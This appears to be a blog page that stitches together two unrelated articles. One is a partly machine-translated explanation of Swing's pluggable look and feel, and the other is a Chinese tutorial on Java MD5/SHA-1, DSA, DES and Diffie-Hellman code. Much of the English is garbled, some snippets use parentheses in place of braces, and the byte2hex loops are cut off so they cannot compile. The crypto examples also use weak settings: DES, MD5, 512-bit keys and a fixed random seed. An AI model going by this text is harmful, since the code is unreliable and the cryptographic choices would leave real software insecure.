Oak - Caffe
Using Swing's Pluggable Look and Feel. .
本文论述了Swing中插件式外观的概念,同时提供了一些使用例子,这些例子可以使开发人员开发方便快速。
插件式外观的含义
Swing是JFC(Java Foundation Classes)的一个组成部分,他用插件式外观(L&F)的方式实现了一系列图形用户界面(GUI).简要的说,给予Swing的应用程序可以以native Windows, Mac OS X, GTK+, or Motif等各种外观模式显示。或者他们可以通过”Metal”包拥有一个唯一的java外观.甚至可以通过完全实现L&F开发一套自己的外观。
早期的Java只提供基于本地组件的GUI元素(由底层窗口系统控制),为了平台独立性,Java只能提供各个平台都提供的元素和特性。对于现在的胖客户端程序来说这是远远不够的.对功能强大的UI元素的需求的增加导致了JFC和Swing的开发。他们克服了原始实现的限制。和他们的predecessors(仍在使用的AWT)不同,Swing组件不依赖于底层的窗口系统,他们是完全用Java实现的轻量级组件 ,有人可能会说:严格的来说他们不是本地化(native)的.Java look and feel确实是这样的。甚至于它的Windows系列的界面也是本地底层组件副本的实现。我们可以通过WindowsAPI创建,绘画,维护GUI元素来建立新的界面
插件式(Pluggable)意味着GUI元素的显示和行为都是可以在不改变程序的情况下改变的,甚至当组件正在显示的时候也可以改变。当Swing程序通过装载JButton类创建一个button新的实例时,这个新的对象知道如何在屏幕上绘制自己以及如何响应鼠标的运动和点击事件。 他将这些任务(例如绘图和鼠标事件处理)委托给一些特定的类,因为如果button本身包含这些创建它的可视化界面,若想改变button的外观就需要修改这些代码或者增加新的方法给button, 所以Swing 提供了装载,选择以及创建自定义外观的方法。实现一套新的外观工作量很大,超出了本文的范围,可以在O’Reilly的书籍《Java Swing》中找到更多的信息。
javax.swing.UIManager
许多L&F有关的操作都在类javax.swing.UIManager类中处理。程序用这个类查询使用哪一种外观,获取特定的L&F名字,以及设置程序需要用的L&F。下面简要介绍一下他的一些有趣的方法,后面我们会详细描述此类:
public static String getCrossPlatformLookAndFeelClassName()
此方法返回一个跨平台的L&F类的全名。如果程序在各种平台需要有一个统一的外观,使用这个方法返回的L&F。下一节会详细介绍这个L&F。
public static String getSystemLookAndFeelClassName()
此方法返回一个实现了运行环境本地化外观的类名。返回的类名是依赖于平台的。当程序需要显示为本地程序的特性时,使用此方法。
public static UIManager.LookAndFeelInfo[] getInstalledLookAndFeels()
此方法返回当前可用的L&F列表。除了跨平台的和本地化的外观之外,java运行时通常还会提供Motif L&F。前面说过,Swing提供了建立自己的一套外观方案的方法。如果自己的方案包已经正确安装的话,在这里也会返回。
public static void setLookAndFeel(String className)
设置当前程序使用的外观.
The Java Look and Feel
现在通过下面的例子来学习插件式外观在程序中如何使用以及如何影响程序。
import javax.swing.*;
import javax.swing.border.*;
import java.awt.*;
import java.awt.event.*;
public class SuperSimple2 extends JFrame {
JLabel msgLabel;
public SuperSimple2() {
super(“SuperSimple”);
setDefaultCloseOperation(DO_NOTHING_ON_CLOSE);//点击关闭按钮时不作任何响应
addWindowListener(new WindowAdapter() {//关闭事件处理――关闭程序
public void windowClosing(WindowEvent e) {
System.exit(0);
}
});
ActionListener al = new ActionListener() {
//Action事件监听器,设置msg标签显示触发事件的组件名称
public void actionPerformed(ActionEvent e) {
msgLabel.setText(((JButton)e.getSource()).getText());
}
};
JButton button;
JPanel buttonPanel = new JPanel();//按钮面板
buttonPanel.setBorder(
new TitledBorder(“please click a button”));
for (int i = 0; i < 3; i++) {
button = new JButton(“Button #” + (i + 1));
button.addActionListener(al);
buttonPanel.add(button);
}
JPanel cp = new JPanel(new BorderLayout());//消息面板
cp.setBorder(new EmptyBorder(10, 10, 10, 10));
msgLabel = new JLabel(“no button clicked!”);//初始化msg标签
cp.add(msgLabel, BorderLayout.NORTH);
cp.add(buttonPanel, BorderLayout.CENTER);
setContentPane(cp);
pack();
setVisible(true);
}
public static void main(String [] args) {
new SuperSimple2();
}
}
无论使用什么操作系统,这个程序只是显示一个包含一些按钮的窗口,但是他的可视化界面却各不相同。在一个Mac机上,它会(至少某种程度上)看起来像一个本地化的程序一样。其它系统可能像图1一样显示:
Figure 1. The Java look and feel。.
This is a Java look. L & F that contains the package name: javax. . Swing. . Plaf. . Metal, often referred to as Metal. . Metal is the Sun, look for the java program visualization options. In J2SE1. .5, One called the Ocean of Light appearance, will replace the current use of the old (now become the Steel). Technically, Ocean is not a new look, it is only as javax. . Swing. . Plaf. . Metal. .MetalTheme. So if you want and existing Metal program (for example, involves the getPreferredSize () method) compatible Java look and feel is often referenced by cross-platform look and feel, it provided in all Java and JFC platform are working properly.
Native Vs. . Cross-Platform Look and Feel. .
Figure 1 process may seem not very familiar with the "look and feel" refers to the Visual interface GUI components and physical behavior, even surpassing it also covers other aspects of the component level. It also and terminology, layers, as well as the general procedural acts. For example, on some platforms use the "quit" to launch the program, in other platform is the "exit"; some programs have a main window, the main window contains a number of internal frame (InternalFrame), others have multiple top-level Windows. Or from the program's operation mode, or it will put its files and settings where point of view. We may say this is the user experience (user experience). An application may use local interface similar to GUI elements. But if it's behavior (action) if the local behavior of other programs (action) if different, would feel very strange. Why is this so? Think about patterns of life of our schedule, we are used to specific fonts and colors; we hope to always be in a particular place.A Windows XP user want to click the little red x to close the window, so that if the program's closing element is placed in the upper-left corner of the window for him/her feel very strange, because he/she is not used. For Mac users is the same: in the program's top-level window is placed within a menu bar is not familiar with the feeling of hate, because the Mac program normally adds a menu bar at the top of the screen.
But our process Why use Metal? If a program does not explicitly set the L & F, UIManager will maintain a default L & F, in many operating systems, the default value is Metal. .
The following issues: a program you need to use a localized L&F? Java's greatest advantage is the "write once, run anywhere. "Given that this question, a java program is required for all platforms have a unified interface, then? For all java procedures require using the same exterior? In the" Java Look and Feel Design Guidelines "book You can learn how to design a simple and convenient for the application to provide a unique user interface. It provides information on the program, how to use the J & F of the wealth of information, including how to organize menus and dialog boxes; use those colors, fonts and icons.Sun has put forward the "100% pure Java" concept. If you want your program to be certified as a Java program, you should use this book J&F and guidelines to provide a user interface. Sun advocate this approach. This is why most systems Metal is a default L&F. On the other hand, many people think that Metal is very ugly. I do not make any assessment, because it is a personal taste. Nevertheless, Metal or several fatal weakness.
There are several options for L & F. .
There are even completely new windowing toolkits。. One that gained widespread public recognition is SWT, the Standard Widget Toolkit which is used in the Eclipse universal tool platform。.
J2SE 1. .5 Provide some processed L & F. .
Time will prove whether Ocean style interface will get better than that of Steel. Figure 2 shows the new look.
Figure 2. . SwingSet using the new J2SE 1. .5 Ocean look. .
I have already mentioned, it is customary to specific behavior (such as closing the window example) the user may use several programs work. If the Java program and other local program's appearance and behavior are different, the user will feel confused and distressed. In addition, many people look for a visual tour. This is why the Mac machine example programs to display Java L&F style. Java is required for the smooth integration into Mac OS X environment, Mac users would never accept such a program. For this reason, many Swing programs, and the following code contains code similar to:. .
try {。.
UIManager. . SetLookAndFeel (..
UIManager。.getSystemLookAndFeelClassName());。.
) Catch (Exception e) (. .
}。.
Programs that use the local L & F is no doubt there are about several advantages:. .
Appearance is very familiar to the user.
Can not see what the program is written by the java. :). .
Unfortunately, this has a seldom-acknowledged drawback。. Although getSystemLookAndFeelClassName () returns a L & F that claims to provide a native look, the user might have installed one that even better resembles the host environment. . The current version is achieved through hard-coded.When sun recognizes this problem J2SE1. .5 allows users to set getSystemLookAndFeelClassName () 's return value.
With J2SE 1. .4. .2, Sun introduced the GTK + look and feel. . On many Linux-based systems it would be adequate to return it as the native L & F. . But currently, this is not the case. .Additionally, getInstalledLookAndFeels() does not mention this L&F at all。. Sun has fixed this in J2SE 1。.5; however, it may still take some time until this version will gain widespread use。. As a result, on Linux, most Java programs show the Motif look and feel. .
On Windows systems, there are several issues with Sun’s implementation of the Windows look and feel。. If an application uses it, its components may not look or behave exactly like native ones。. This is because the Windows L & F only mimics its native counterparts, rather than using them. . The WinLAF project on java. . Net aims to fix these glitches. .If you are interested in what these problems are, please have a look at WinLAF’s release notes。. Of course, it would be best if the underlying issues were fixed in Java itself。. Until this is the case, the WinLAF project provides a way to make Java applications with the Windows look and feel appear as close to their native counterparts as possible. .Figures 3 and 4 illustrate the sometimes subtle differences。.
Figure 3. . SwingSet using Sun's Windows look and feel. .
Figure 4。. SwingSet using WinLAF’s look and feel。.
How can applications benefit from the WinLAF project? According to the installation instructions, using WinLAF requires two steps:. .
1. Put the winlaf-0。.4。.jar file in the CLASSPATH of your application。.
2. . In your main () method, include a line of code like this: net. . Java. . Plaf. . LookAndFeelPatchManager. . Initialize ();. .
However, this ties an application to the WinLAF project, which is not what we want。. But it takes just a few steps to make Swing applications benefit from the WinLAF corrections。. These are:。.
1. . Copy the WinLAF. . Jar file to the ext directory of your Java installation. .
2. Create a little wrapper class and put it in a 。.jar file。.
3. . Put that jar file into the ext directory as well. .
4. Modify the swing。.properties file to include the new look and feel and set the L&F as the default one。.
The code of the little wrapper class is as follows. .
package com。.sun。.java。.swing。.plaf。.windows;。.
public class WinLAFWrapper extends WindowsLookAndFeel (. .
public WinLAFWrapper() {。.
try (. .
javax。.swing。.UIManager。.setLookAndFeel(this);。.
net. . Java. . Plaf. . LookAndFeelPatchManager. . Initialize ();. .
} catch (Exception e) {。.
). .
}。.
). .
Some Thoughts on Making Choices。.
There are several ways to determine the appearance of:. .
1. Select the appearance of a cross-platform.
2. . Select localized appearance. .
3. Provide a custom appearance.
4. . Let the user decide. .
Any of the first three has the disadvantage that it does not respect users’ preferences。. Programs that force Java to use a specific look and feel to render its components will not benefit from the WinLAF project; neither will they show the appropriate system look and feel on some operating systems。. As we have seen, there might be an enhanced version of the system look and feel, and it is quite probable that the users would like to use this。. And on some systems, Java simply assumes the wrong look and feel to be the native one. . Consequently, the program must allow the user to decide which look and feel to use. .The main reason is flexibility。. If someone likes the Java look, he/she can choose it。. If others prefer a tight integration into the host environment, let them have it。. And the ones in favor of really individual look and feel may choose their preferred one, too. . Technically, this is not a big deal. .You can query the available look and feels using getInstalledLookAndFeels() and set one with another method of UIManager; for example, public static void setLookAndFeel(LookAndFeel newLookAndFeel) or public static void setLookAndFeel(String className) . .
However, since there is no standard dialog box for selecting L&Fs, applications usually implement one on their own。. Although it is desirable that users can choose which look and feel the application should use, doing so should be the same in all applications. .Clearly, the best solution would be if Sun provided a standard look and feel chooser。. Since this probably will not be the case for some time, it is perfectly valid to provide one。. But please consider the following question: why do users have to select a preferred look and feel for almost any application they install? Swing provides means to set a look and feel as the default one。. If a user has done so, it is quite likely that this is the one he/she likes best。. Why can’t an application respect his/her decision?。.
Specifying a Default Look and Feel. .
Many default settings related to L&F can swing in the configuration file. manage .properties file is located in the $ JAVA_HOME/%JAVA_HOME%\lib or lib depends on your operating system. If you do not have this file, you can use any ASCII file editor to create it. A better approach is to use specialized tools, such as TKPLAFUtility.
Figure 5. . The TKPLAFUtility program. .
The default swing through property L&F. .defaultlaf OK. Can you swing through file. command line parameters .properties or in the form settings. Its value should be L&F you want to use. In the program, you can use the method public static LookAndFeel getLookAndFeel () specified.
Summary. .
This article describes and discusses Swing GUI color appearance of concepts in the plug-in. In use it will be a lot of issues to consider.
JAVA on the encryption algorithm implemented by the cases. .
–MD5/SHA1,DSA,DESede/DES,Diffie-Hellman的使用
第1章基础知识
1.1. 单钥密码体制
单钥密码体制是一种传统的加密算法,是指信息的发送方和接收方共同使用同一把密钥进行加解密。
通常,使用的加密算法比较简便高效,密钥简短,加解密速度快,破译极其困难。但是加密的安全性依靠密钥保管的安全性,在公开的计算机网络上安全地传送和保管密钥是一个严峻的问题,并且如果在多用户的情况下密钥的保管安全性也是一个问题。
单钥密码体制的代表是美国的DES
1.2. 消息摘要
一个消息摘要就是一个数据块的数字指纹。即对一个任意长度的一个数据块进行计算,产生一个唯一指印(对于SHA1是产生一个20字节的二进制数组)。
消息摘要有两个基本属性:
两个不同的报文难以生成相同的摘要
难以对指定的摘要生成一个报文,而由该报文反推算出该指定的摘要
代表:美国国家标准技术研究所的SHA1和麻省理工学院Ronald Rivest提出的MD5
1.3. Diffie-Hellman密钥一致协议
密钥一致协议是由公开密钥密码体制的奠基人Diffie和Hellman所提出的一种思想。
先决条件,允许两名用户在公开媒体上交换信息以生成”一致”的,可以共享的密钥
代表:指数密钥一致协议(Exponential Key Agreement Protocol)
1.4. 非对称算法与公钥体系
1976年,Dittie和Hellman为解决密钥管理问题,在他们的奠基性的工作”密码学的新方向”一文中,提出一种密钥交换协议,允许在不安全的媒体上通过通讯双方交换信息,安全地传送秘密密钥。在此新思想的基础上,很快出现了非对称密钥密码体制,即公钥密码体制。在公钥体制中,加密密钥不同于解密密钥,加密密钥公之于众,谁都可以使用;解密密钥只有解密人自己知道。它们分别称为公开密钥(Public key)和秘密密钥(Private key)。
迄今为止的所有公钥密码体系中,RSA系统是最著名、最多使用的一种。RSA公开密钥密码系统是由R.Rivest、A.Shamir和L.Adleman俊教授于1977年提出的。RSA的取名就是来自于这三位发明者的姓的第一个字母
1.5. 数字签名
所谓数字签名就是信息发送者用其私钥对从所传报文中提取出的特征数据(或称数字指纹)进行RSA算法操作,以保证发信人无法抵赖曾发过该信息(即不可抵赖性),同时也确保信息报文在经签名后末被篡改(即完整性)。当信息接收者收到报文后,就可以用发送者的公钥对数字签名进行验证。
在数字签名中有重要作用的数字指纹是通过一类特殊的散列函数(HASH函数)生成的,对这些HASH函数的特殊要求是:
接受的输入报文数据没有长度限制;
对任何输入报文数据生成固定长度的摘要(数字指纹)输出
从报文能方便地算出摘要;
难以对指定的摘要生成一个报文,而由该报文反推算出该指定的摘要;
两个不同的报文难以生成相同的摘要
代表:DSA
第2章在JAVA中的实现
2.1. 相关
Diffie-Hellman密钥一致协议和DES程序需要JCE工具库的支持,可以到 http://java.sun.com/security/index.html 下载JCE,并进行安装。简易安装把 jce1.2.1\lib 下的所有内容复制到 %java_home%\lib\ext下,如果没有ext目录自行建立,再把jce1_2_1.jar和sunjce_provider.jar添加到CLASSPATH内,更详细说明请看相应用户手册
2.2. 消息摘要MD5和SHA的使用
使用方法:
首先用生成一个MessageDigest类,确定计算方法
java.security.MessageDigest alga=java.security.MessageDigest.getInstance(“SHA-1″);
添加要进行计算摘要的信息
alga.update(myinfo.getBytes());
计算出摘要
byte[] digesta=alga.digest();
发送给其他人你的信息和摘要
其他人用相同的方法初始化,添加信息,最后进行比较摘要是否相同
algb.isEqual(digesta,algb.digest())
相关AIP
java.security.MessageDigest 类
static getInstance(String algorithm)
返回一个MessageDigest对象,它实现指定的算法
参数:算法名,如 SHA-1 或MD5
void update (byte input)
void update (byte[] input)
void update(byte[] input, int offset, int len)
添加要进行计算摘要的信息
byte[] digest()
完成计算,返回计算得到的摘要(对于MD5是16位,SHA是20位)
void reset()
复位
static boolean isEqual(byte[] digesta, byte[] digestb)
比效两个摘要是否相同
代码:
import java.security.*;
public class myDigest {
public static void main(String[] args) {
myDigest my=new myDigest();
my.testDigest();
}
public void testDigest()
{
try {
String myinfo=”摘要检测”;
//java.security.MessageDigest alg=java.security.MessageDigest.getInstance(“MD5″);
java.security.MessageDigest alga=java.security.MessageDigest.getInstance(“SHA-1″);
alga.update(myinfo.getBytes());
byte[] digesta=alga.digest();
//通过某中方式传给其他人你的信息(myinfo)和摘要(digesta) 对方可以判断是否更改或传输正常
java.security.MessageDigest algb=java.security.MessageDigest.getInstance(“SHA-1″);
algb.update(myinfo.getBytes());
if (algb.isEqual(digesta,algb.digest())) {
System.out.println(“信息检查正常”);
}
else
{
System.out.println(“摘要不相同”);
}
}
catch (java.security.NoSuchAlgorithmException ex) {
System.out.println(“非法摘要算法”);
}
}
public String byte2hex(byte[] b) //二行制转字符串
{
String hs=”";
String stmp=”";
for (int n=0;n {
stmp=(java.lang.Integer.toHexString(b[n] & 0XFF));
if (stmp.length()==1) hs=hs+”0″+stmp;
else hs=hs+stmp;
if (n> }
return hs.toUpperCase();
}
}
2.3. 数字签名DSA
对于一个用户来讲首先要生成他的密钥对,并且分别保存
生成一个KeyPairGenerator实例
java.security.KeyPairGenerator keygen=java.security.KeyPairGenerator.getInstance(“DSA”);
如果设定随机产生器就用如相代码初始化
SecureRandom secrand=new SecureRandom();
secrand.setSeed(“tttt”.getBytes()); //初始化随机产生器
keygen.initialize(512,secrand); //初始化密钥生成器
否则
keygen.initialize(512);
生成密钥公钥pubkey和私钥prikey
KeyPair keys=keygen.generateKeyPair(); //生成密钥组
PublicKey pubkey=keys.getPublic();
PrivateKey prikey=keys.getPrivate();
分别保存在myprikey.dat和mypubkey.dat中,以便下次不在生成
(生成密钥对的时间比较长
java.io.ObjectOutputStream out=new java.io.ObjectOutputStream(new java.io.FileOutputStream(“myprikey.dat”));
out.writeObject(prikey);
out.close();
out=new java.io.ObjectOutputStream(new java.io.FileOutputStream(“mypubkey.dat”));
out.writeObject(pubkey);
out.close();
用他私人密钥(prikey)对他所确认的信息(info)进行数字签名产生一个签名数组
从文件中读入私人密钥(prikey)
java.io.ObjectInputStream in=new java.io.ObjectInputStream(new java.io.FileInputStream(“myprikey.dat”));
PrivateKey myprikey=(PrivateKey)in.readObject();
in.close();
初始一个Signature对象,并用私钥对信息签名
java.security.Signature signet=java.security.Signature.getInstance(“DSA”);
signet.initSign(myprikey);
signet.update(myinfo.getBytes());
byte[] signed=signet.sign();
把信息和签名保存在一个文件中(myinfo.dat)
java.io.ObjectOutputStream out=new java.io.ObjectOutputStream(new java.io.FileOutputStream(“myinfo.dat”));
out.writeObject(myinfo);
out.writeObject(signed);
out.close();
把他的公钥的信息及签名发给其它用户
其他用户用他的公共密钥(pubkey)和签名(signed)和信息(info)进行验证是否由他签名的信息
读入公钥
java.io.ObjectInputStream in=new java.io.ObjectInputStream(new java.io.FileInputStream(“mypubkey.dat”));
PublicKey pubkey=(PublicKey)in.readObject();
in.close();
读入签名和信息
in=new java.io.ObjectInputStream(new java.io.FileInputStream(“myinfo.dat”));
String info=(String)in.readObject();
byte[] signed=(byte[])in.readObject();
in.close();
初始一个Signature对象,并用公钥和签名进行验证
java.security.Signature signetcheck=java.security.Signature.getInstance(“DSA”);
signetcheck.initVerify(pubkey);
signetcheck.update(info.getBytes());
if (signetcheck.verify(signed)) { System.out.println(“签名正常”);}
对于密钥的保存本文是用对象流的方式保存和传送的,也可可以用编码的方式保存.注意要
import java.security.spec.*
import java.security.*
具休说明如下
public key是用X.509编码的,例码如下: byte[] bobEncodedPubKey=mypublic.getEncoded(); //生成编码
//传送二进制编码
//以下代码转换编码为相应key对象
X509EncodedKeySpec bobPubKeySpec = new X509EncodedKeySpec(bobEncodedPubKey);
KeyFactory keyFactory = KeyFactory.getInstance(“DSA”);
PublicKey bobPubKey = keyFactory.generatePublic(bobPubKeySpec);
对于Private key是用PKCS#8编码,例码如下: byte[] bPKCS=myprikey.getEncoded();
//传送二进制编码
//以下代码转换编码为相应key对象
PKCS8EncodedKeySpec priPKCS8=new PKCS8EncodedKeySpec(bPKCS);
KeyFactory keyf=KeyFactory.getInstance(“DSA”);
PrivateKey otherprikey=keyf.generatePrivate(priPKCS8);
常用API
java.security.KeyPairGenerator 密钥生成器类
public static KeyPairGenerator getInstance(String algorithm) throws NoSuchAlgorithmException
以指定的算法返回一个KeyPairGenerator 对象
参数: algorithm 算法名.如:”DSA”,”RSA”
public void initialize(int keysize)
以指定的长度初始化KeyPairGenerator对象,如果没有初始化系统以1024长度默认设置
参数:keysize 算法位长.其范围必须在 512 到 1024 之间,且必须为 64 的倍数
public void initialize(int keysize, SecureRandom random)
以指定的长度初始化和随机发生器初始化KeyPairGenerator对象
参数:keysize 算法位长.其范围必须在 512 到 1024 之间,且必须为 64 的倍数
random 一个随机位的来源(对于initialize(int keysize)使用了默认随机器
public abstract KeyPair generateKeyPair()
产生新密钥对
java.security.KeyPair 密钥对类
public PrivateKey getPrivate()
返回私钥
public PublicKey getPublic()
返回公钥
java.security.Signature 签名类
public static Signature getInstance(String algorithm) throws NoSuchAlgorithmException
返回一个指定算法的Signature对象
参数 algorithm 如:”DSA”
public final void initSign(PrivateKey privateKey)
throws InvalidKeyException
用指定的私钥初始化
参数:privateKey 所进行签名时用的私钥
public final void update(byte data)
throws SignatureException
public final void update(byte[] data)
throws SignatureException
public final void update(byte[] data, int off, int len)
throws SignatureException
添加要签名的信息
public final byte[] sign()
throws SignatureException
返回签名的数组,前提是initSign和update
public final void initVerify(PublicKey publicKey)
throws InvalidKeyException
用指定的公钥初始化
参数:publicKey 验证时用的公钥
public final boolean verify(byte[] signature)
throws SignatureException
验证签名是否有效,前提是已经initVerify初始化
参数: signature 签名数组
*/
import java.security.*;
import java.security.spec.*;
public class testdsa {
public static void main(String[] args) throws java.security.NoSuchAlgorithmException,java.lang.Exception {
testdsa my=new testdsa();
my.run();
}
public void run()
{
//数字签名生成密钥
//第一步生成密钥对,如果已经生成过,本过程就可以跳过,对用户来讲myprikey.dat要保存在本地
//而mypubkey.dat给发布给其它用户
if ((new java.io.File(“myprikey.dat”)).exists()==false) {
if (generatekey()==false) {
System.out.println(“生成密钥对败”);
return;
};
}
//第二步,此用户
//从文件中读入私钥,对一个字符串进行签名后保存在一个文件(myinfo.dat)中
//并且再把myinfo.dat发送出去
//为了方便数字签名也放进了myifno.dat文件中,当然也可分别发送
try {
java.io.ObjectInputStream in=new java.io.ObjectInputStream(new java.io.FileInputStream(“myprikey.dat”));
PrivateKey myprikey=(PrivateKey)in.readObject();
in.close();
// java.security.spec.X509EncodedKeySpec pubX509=new java.security.spec.X509EncodedKeySpec(bX509);
//java.security.spec.X509EncodedKeySpec pubkeyEncode=java.security.spec.X509EncodedKeySpec
String myinfo=”这是我的信息”; //要签名的信息
//用私钥对信息生成数字签名
java.security.Signature signet=java.security.Signature.getInstance(“DSA”);
signet.initSign(myprikey);
signet.update(myinfo.getBytes());
byte[] signed=signet.sign(); //对信息的数字签名
System.out.println(“signed(签名内容)=”+byte2hex(signed));
//把信息和数字签名保存在一个文件中
java.io.ObjectOutputStream out=new java.io.ObjectOutputStream(new java.io.FileOutputStream(“myinfo.dat”));
out.writeObject(myinfo);
out.writeObject(signed);
out.close();
System.out.println(“签名并生成文件成功”);
}
catch (java.lang.Exception e) {
e.printStackTrace();
System.out.println(“签名并生成文件失败”);
};
//第三步
//其他人通过公共方式得到此户的公钥和文件
//其他人用此户的公钥,对文件进行检查,如果成功说明是此用户发布的信息.
//
try {
java.io.ObjectInputStream in=new java.io.ObjectInputStream(new java.io.FileInputStream(“mypubkey.dat”));
PublicKey pubkey=(PublicKey)in.readObject();
in.close();
System.out.println(pubkey.getFormat());
in=new java.io.ObjectInputStream(new java.io.FileInputStream(“myinfo.dat”));
String info=(String)in.readObject();
byte[] signed=(byte[])in.readObject();
in.close();
java.security.Signature signetcheck=java.security.Signature.getInstance(“DSA”);
signetcheck.initVerify(pubkey);
signetcheck.update(info.getBytes());
if (signetcheck.verify(signed)) {
System.out.println(“info=”+info);
System.out.println(“签名正常”);
}
else System.out.println(“非签名正常”);
}
catch (java.lang.Exception e) {e.printStackTrace();};
}
//生成一对文件myprikey.dat和mypubkey.dat—私钥和公钥,
//公钥要用户发送(文件,网络等方法)给其它用户,私钥保存在本地
public boolean generatekey()
{
try {
java.security.KeyPairGenerator keygen=java.security.KeyPairGenerator.getInstance(“DSA”);
// SecureRandom secrand=new SecureRandom();
// secrand.setSeed(“tttt”.getBytes()); //初始化随机产生器
// keygen.initialize(576,secrand); //初始化密钥生成器
keygen.initialize(512);
KeyPair keys=keygen.genKeyPair();
// KeyPair keys=keygen.generateKeyPair(); //生成密钥组
PublicKey pubkey=keys.getPublic();
PrivateKey prikey=keys.getPrivate();
java.io.ObjectOutputStream out=new java.io.ObjectOutputStream(new java.io.FileOutputStream(“myprikey.dat”));
out.writeObject(prikey);
out.close();
System.out.println(“写入对象 prikeys ok”);
out=new java.io.ObjectOutputStream(new java.io.FileOutputStream(“mypubkey.dat”));
out.writeObject(pubkey);
out.close();
System.out.println(“写入对象 pubkeys ok”);
System.out.println(“生成密钥对成功”);
return true;
}
catch (java.lang.Exception e) {
e.printStackTrace();
System.out.println(“生成密钥对失败”);
return false;
};
}
public String byte2hex(byte[] b)
{
String hs=”";
String stmp=”";
for (int n=0;n {
stmp=(java.lang.Integer.toHexString(b[n] & 0XFF));
if (stmp.length()==1) hs=hs+”0″+stmp;
else hs=hs+stmp;
if (n> }
return hs.toUpperCase();
}
}
2.4. DESede/DES对称算法
首先生成密钥,并保存(这里并没的保存的代码,可参考DSA中的方法)
KeyGenerator keygen = KeyGenerator.getInstance(Algorithm);
SecretKey deskey = keygen.generateKey();
用密钥加密明文(myinfo),生成密文(cipherByte)
Cipher c1 = Cipher.getInstance(Algorithm);
c1.init(Cipher.ENCRYPT_MODE,deskey);
byte[] cipherByte=c1.doFinal(myinfo.getBytes());
传送密文和密钥,本文没有相应代码可参考DSA
………….
用密钥解密密文
c1 = Cipher.getInstance(Algorithm);
c1.init(Cipher.DECRYPT_MODE,deskey);
byte[] clearByte=c1.doFinal(cipherByte);
相对来说对称密钥的使用是很简单的,对于JCE来讲支技DES,DESede,Blowfish三种加密术
对于密钥的保存各传送可使用对象流或者用二进制编码,相关参考代码如下
SecretKey deskey = keygen.generateKey();
byte[] desEncode=deskey.getEncoded();
javax.crypto.spec.SecretKeySpec destmp=new javax.crypto.spec.SecretKeySpec(desEncode,Algorithm);
SecretKey mydeskey=destmp;
相关API
KeyGenerator 在DSA中已经说明,在添加JCE后在instance进可以如下参数
DES,DESede,Blowfish,HmacMD5,HmacSHA1
javax.crypto.Cipher 加/解密器
public static final Cipher getInstance(java.lang.String transformation)
throws java.security.NoSuchAlgorithmException,
NoSuchPaddingException
返回一个指定方法的Cipher对象
参数:transformation 方法名(可用 DES,DESede,Blowfish)
public final void init(int opmode, java.security.Key key)
throws java.security.InvalidKeyException
用指定的密钥和模式初始化Cipher对象
参数:opmode 方式(ENCRYPT_MODE, DECRYPT_MODE, WRAP_MODE,UNWRAP_MODE)
key 密钥
public final byte[] doFinal(byte[] input)
throws java.lang.IllegalStateException,
IllegalBlockSizeException,
BadPaddingException
对input内的串,进行编码处理,返回处理后二进制串,是返回解密文还是加解文由init时的opmode决定
注意:本方法的执行前如果有update,是对updat和本次input全部处理,否则是本inout的内容
/*
安全程序 DESede/DES测试
*/
import java.security.*;
import javax.crypto.*;
public class testdes {
public static void main(String[] args){
testdes my=new testdes();
my.run();
}
public void run() {
//添加新安全算法,如果用JCE就要把它添加进去
Security.addProvider(new com.sun.crypto.provider.SunJCE());
String Algorithm=”DES”; //定义 加密算法,可用 DES,DESede,Blowfish
String myinfo=”要加密的信息”;
try {
//生成密钥
KeyGenerator keygen = KeyGenerator.getInstance(Algorithm);
SecretKey deskey = keygen.generateKey();
//加密
System.out.println(“加密前的二进串:”+byte2hex(myinfo.getBytes()));
System.out.println(“加密前的信息:”+myinfo);
Cipher c1 = Cipher.getInstance(Algorithm);
c1.init(Cipher.ENCRYPT_MODE,deskey);
byte[] cipherByte=c1.doFinal(myinfo.getBytes());
System.out.println(“加密后的二进串:”+byte2hex(cipherByte));
//解密
c1 = Cipher.getInstance(Algorithm);
c1.init(Cipher.DECRYPT_MODE,deskey);
byte[] clearByte=c1.doFinal(cipherByte);
System.out.println(“解密后的二进串:”+byte2hex(clearByte));
System.out.println(“解密后的信息:”+(new String(clearByte)));
}
catch (java.security.NoSuchAlgorithmException e1) {e1.printStackTrace();}
catch (javax.crypto.NoSuchPaddingException e2) {e2.printStackTrace();}
catch (java.lang.Exception e3) {e3.printStackTrace();}
}
public String byte2hex(byte[] b) //二行制转字符串
{
String hs=”";
String stmp=”";
for (int n=0;n {
stmp=(java.lang.Integer.toHexString(b[n] & 0XFF));
if (stmp.length()==1) hs=hs+”0″+stmp;
else hs=hs+stmp;
if (n> }
return hs.toUpperCase();
}
}
2.5. Diffie-Hellman密钥一致协议
公开密钥密码体制的奠基人Diffie和Hellman所提出的 ”指数密钥一致协议”(Exponential Key Agreement Protocol),该协议不要求别的安全性先决条件,允许两名用户在公开媒体上交换信息以生成”一致”的,可以共享的密钥。在JCE的中实现用户alice生成DH类型的密钥对,如果长度用1024生成的时间请,推荐第一次生成后保存DHParameterSpec,以便下次使用直接初始化.使其速度加快
System.out.println(“ALICE: 产生 DH 对 …”);
KeyPairGenerator aliceKpairGen = KeyPairGenerator.getInstance(“DH”);
aliceKpairGen.initialize(512);
KeyPair aliceKpair = aliceKpairGen.generateKeyPair();
alice生成公钥发送组bob
byte[] alicePubKeyEnc = aliceKpair.getPublic().getEncoded();
bob从alice发送来的公钥中读出DH密钥对的初始参数生成bob的DH密钥对
注意这一步一定要做,要保证每个用户用相同的初始参数生成的
DHParameterSpec dhParamSpec = ((DHPublicKey)alicePubKey).getParams();
KeyPairGenerator bobKpairGen = KeyPairGenerator.getInstance(“DH”);
bobKpairGen.initialize(dhParamSpec);
KeyPair bobKpair = bobKpairGen.generateKeyPair();
bob根据alice的公钥生成本地的DES密钥
KeyAgreement bobKeyAgree = KeyAgreement.getInstance(“DH”);
bobKeyAgree.init(bobKpair.getPrivate());
bobKeyAgree.doPhase(alicePubKey, true);
SecretKey bobDesKey = bobKeyAgree.generateSecret(“DES”);
bob已经生成了他的DES密钥,他现把他的公钥发给alice,
byte[] bobPubKeyEnc = bobKpair.getPublic().getEncoded();
alice根据bob的公钥生成本地的DES密钥
,,,,,,解码
KeyAgreement aliceKeyAgree = KeyAgreement.getInstance(“DH”);
aliceKeyAgree.init(aliceKpair.getPrivate());
aliceKeyAgree.doPhase(bobPubKey, true);
SecretKey aliceDesKey = aliceKeyAgree.generateSecret(“DES”);
bob和alice能过这个过程就生成了相同的DES密钥,在这种基础就可进行安全能信
常用API
java.security.KeyPairGenerator 密钥生成器类
public static KeyPairGenerator getInstance(String algorithm)
throws NoSuchAlgorithmException
以指定的算法返回一个KeyPairGenerator 对象
参数: algorithm 算法名.如:原来是DSA,现在添加了 DiffieHellman(DH)
